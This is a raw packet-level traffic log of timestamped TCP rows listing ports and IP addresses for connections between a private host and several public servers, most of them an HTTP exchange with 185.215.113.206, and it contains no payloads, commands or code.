Nov 23, 2024 01:14:27.415777922 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.416024923 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.416049004 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.417233944 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.417674065 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.417846918 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.417856932 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.424020052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.424094915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.424135923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.424226046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.424524069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.424566984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.424614906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.424815893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.425474882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.425527096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.425543070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.425560951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.426431894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.426475048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.452671051 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:27.459352970 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.497443914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.497493982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.498528957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.498605013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.498991966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499006987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499022961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499037981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499054909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.499082088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499093056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.499099970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499130964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.499152899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.499800920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.499871016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.499967098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.500075102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.500801086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.500817060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.500861883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.501692057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.501749992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.501821041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.501873970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.502775908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.502791882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.502842903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.502859116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.503664970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.503715992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.503837109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.503879070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.504580021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.504636049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.504764080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.504806042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.505512953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.505569935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.505696058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.505791903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.506603003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.506658077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.506772995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.506834984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.507368088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.507425070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.507558107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.507603884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.508465052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.508517027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.508620024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.508665085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.509428024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.509442091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.509471893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.509490967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.510473967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.510528088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.510659933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.510715961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.511351109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.511401892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.511533022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.511584044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.512245893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.512299061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.512425900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.512501955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.513349056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.513384104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.513417006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.513448000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.513977051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.513993025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.514023066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.514039040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.514363050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.514415979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.514422894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.514458895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.515343904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.515397072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.515407085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.515449047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.516292095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.516352892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.516370058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.516491890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.517281055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.517338991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.517390013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.517431974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.518251896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.518320084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.518357992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.518399954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.519270897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.519337893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.519350052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.519399881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.520266056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.520308971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.520311117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.520348072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.521235943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.521290064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.521363974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.521406889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.522145987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.522202015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.522247076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.522341013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.523085117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.523133039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.523165941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.523180962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.524038076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.524085045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.524152040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.524198055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.525047064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.525101900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.525218010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.525265932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.526118040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.526134014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.526165009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.526180029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.526971102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.527079105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.527126074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.527957916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.527972937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.528014898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.528038979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.528887987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.528951883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.528996944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.529036999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.529871941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.529896021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.529910088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.529928923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.530829906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.530905962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.530941963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.530987024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.531821966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.531896114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.531933069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.532006979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.532778025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.532828093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.532830000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.532879114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536573887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536590099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536632061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536663055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536808014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536823988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536853075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536863089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536880970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536887884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.536921978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.536946058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.537622929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.537636995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.537681103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.537693977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.538574934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.538590908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.538628101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.538644075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.539459944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.539520979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.539635897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.539752960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.540405035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.540447950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.540561914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.540604115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.541534901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.541585922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.541697979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.541740894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.542398930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.542440891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.542617083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.542654991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.542671919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.542699099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.542723894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.543371916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.543414116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.560045004 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.625190020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.625215054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.625257015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.625281096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.625478983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.625567913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.625618935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.625679016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.626451015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.626504898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.626542091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.626660109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.627449989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.627465010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.627495050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.627510071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.627724886 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.627990961 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.628005028 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.628277063 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.628596067 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.628674030 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.628737926 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.650840044 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.651505947 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.651520967 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.652425051 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.652430058 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.675337076 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.696914911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.697057962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.697123051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.697438002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.697457075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.697510958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.698359966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.698479891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.698513985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.698530912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.699337006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.699395895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.699433088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.699480057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.700391054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.700504065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.700520992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.700567961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.701287031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.701360941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.701386929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.701431036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.702234030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.702291012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.702328920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.702373028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.703244925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.703280926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.703304052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.703335047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.704181910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.704251051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.704293966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.704338074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.705157995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.705204964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.705301046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.705441952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.706132889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.706203938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.706249952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.707106113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.707165956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.707202911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.707247019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.708060026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.708131075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.708430052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.708491087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.709033966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.709085941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.709146976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.709197044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.709996939 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:27.710057974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.710105896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.710175037 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:27.710202932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.710248947 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:27.710253000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.710675955 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:27.710694075 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:27.710705042 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:27.710711002 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:27.710964918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.711014032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.711096048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.711141109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.711957932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.712085962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.712145090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.712925911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.712977886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.713037014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.713087082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.713887930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.713943005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.714029074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.714083910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.714848042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.714915037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.714919090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.714961052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.715806007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.715851068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.715909958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.715987921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.716759920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.716814995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.716852903 CET	80	49760	185.215.113.206	192.168.2.5
